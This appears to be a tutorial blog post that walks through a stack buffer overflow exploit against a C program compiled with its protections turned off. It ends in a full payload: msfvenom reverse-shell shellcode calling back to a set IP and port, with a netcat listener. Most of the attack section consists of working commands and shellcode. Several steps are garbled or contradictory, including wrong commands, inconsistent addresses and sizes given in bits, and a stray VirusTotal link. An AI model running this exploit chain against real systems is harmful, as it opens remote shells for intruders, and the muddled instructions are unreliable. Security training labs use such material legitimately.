Creating Buffer Overflow exploits

[luiyam]

So, today we will create an exploit based on buffer overflow.
A buffer overflow is a phenomenon that occurs when a computer program writes data outside of the buffer allocated in memory!

Working with the script

Let's work with the script, we can take any program, it's best to work with a program in C, C++, C# ( if you have an exe, then I advise you to resort to decompilation ), the UBS v5.0 program is written in Delphi v6, here are the sources:

We have compiled the program!

So, I'll try to use another program in C.
First, let's do a compilation stage in GCC - https://gcc.gnu.org/releases.html, pre-install the sudo apt-get install gcc-multilib library
gcc -g -Wall -Werror -O0 -m32 -fno-stack-protector -z execstack -no-pie -Wl,-z,norelro -mpreferred-stack-boundary=2 -o victim victim.c

We will also need execstack, which will block ELF and other security functions when we work with the program.
First, replace the repository in /etc/apt/sources. list with deb http://ftp.de.debian.org/debian stretch main
VT - https://www.virustotal.com/gui/file/bd1284945520449b7de0b6a2f7ba022cfe85dfb4e24981d69abc95d034ab93e0

So we added a deb repository

sudo nano /etc/apt/sources.list && apt update && apt install execstack

If you compile a new executable, it will already have DEP enabled, but make sure that the compilation is done using the-fno-stack-protector option, as this does not bypass stack canaries:
execstack -c ./victim && execstack -q ./victim - ./victim

Working with the Debugger

First, we will install the add-on to the GDB debugger, this is pwndbg, with its help we will be more comfortable to engage in exploiting, as well as install the gdb-peda library! Let's update GDB itself first:

wget https://ftp.gnu.org/gnu/gdb/gdb-11.1.tar.gz && tar gdb-11.1.tar.gz && cd gdb-11.1 && make CXXFLAGS="-static-libstdc++" && sudo make install && apt-get update


We have successfully updated the debugger!

git clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh && git clone https://github.com/longld/peda && cd peda && echo "source ~/peda/peda.py" >> ~/.gdbinit

Let's run GDB and see that instead of the gdb panel, we are greeted by pwndbg and gdb-peda, but don't worry, the commands are still the same. Launching the file:

chmod +x victim.c && gcc -g -o victim victim.c && gdb ./victim


Our script

We look at the result obtained, namely in the registers section, where we need to find the rdi function, in order to determine it, let's turn to disas main. The disas main function allows you to show the disassembled code of the main function, which is the most basic in the program:


Main function of our program

Let's create a pattern (garbage code). To do this, write pattern create 200 in the debugger ( longer than the buffer! ), and then run run with it


Here is our pattern



So, we have automatically set a brickpoint on the offset 0x41514141, the address we need is in EBP, it can be in EIP and ESP, in fact, we need to find out the offset of the offset, we will write pattern offset 0x6c414150, as you can see the shift in 132, we use this for shell code


We found the shift!

To do this, use the break command to set a breakpoint on the ret instruction (address 0x0804844d-see the assembler listing).

break *0x8049060


Here is our brickpoint

After that, I will execute the program, passing as an argument a string of 132 characters A (garbage to get to the return address), concatenated with the ominous value 0xd34dc0d3 ( \xd3\x4d\xc0\xd3).
I expand the string containing the address using the python mechanism for working with slices [:: -1].

run `python -c 'print "A"*132 + "\xd3\x4d\xc0\xd3"[::-1]'`


Vrt, what the debugger issued

At the beginning of the stack frame, $esp-132, and mark up its space in your mind to better understand how the shellcode will "fit" on the stack.
Using a slash, I will specify the format in which I want to get the result: 200wx for the request in the form x/200wx $esp-132


Here's what we got:

After continuing execution with the continue command, we trigger the execution of the ret instruction, the program is expected to crash with a segmentation fault, and the return address, as if by magic, turns into the expected 0xd34dc0d3:



Now you can start fighting. A rough exploit for executing from the interactive GDB shell looks like this, let's look at the EIP address, the one where the stack is overflowing, here it is-0xffffd3cc ( this is the middle of the NOP slice )


Here is our desired address

Change the file owner to root, so that the debugger can easily work
sudo chown root victim && sudo chgrp root victim && sudo chmod +s victim

Some math. Let's calculate the garbage code in bytes. To do this, we will perform the following actions: EBP + buf-NOP*2-Shell ( in numbers 128 + 4 - 32*2 -33 = 35 )


Shell code weight = 33 bits

But this is an existing shell. To generate your own shell code, turn to msfvenom. To do this, write:
msfvenom -p linux/x86/shell_reverse_tcp -e x86/shikata_ga_nai -a x86 --platform linux LHOST=192.168.227.128 LPORT=8989 -f c


Here is our shell

As we can see, the size is 95 bits.
Write run to output the shell code to the program, the result is in front of your eyes, since this is reverse_shell, there is a listener on the port, so run NetCat nc-lvnp 8989

run python -c 'print "A"*132 + "\xbf\xff\xed\xcc"[::-1] + "\x90"*32 + "\xbe\x5f\x8b\x5e\xc6\xd9\xeb\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x12\x83\xc2\x04\x31\x72\x0e\x03\x2d\x85\xbc\x33\xe0\x42\xb7\x5f\x51\x36\x6b\xca\x57\x31\x6a\xba\x31\x8c\xed\x28\xe4\xbe\xd1\x83\x96\xf6\x54\xe5\xfe\xc8\x0f\xf6\x7e\xa0\x4d\xf9\x5d\x2c\xdb\x18\x11\x28\x8b\x8b\x02\x06\x28\xa5\x45\xa5\xaf\xe7\xed\x58\x9f\x74\x85\xcc\xf0\x55\x37\x64\x86\x49\xe5\x25\x11\x6c\xb9\xc1\xec\xef" + "\x90"*32 + "A"'


Here is the exploit and the listener

Click to read more...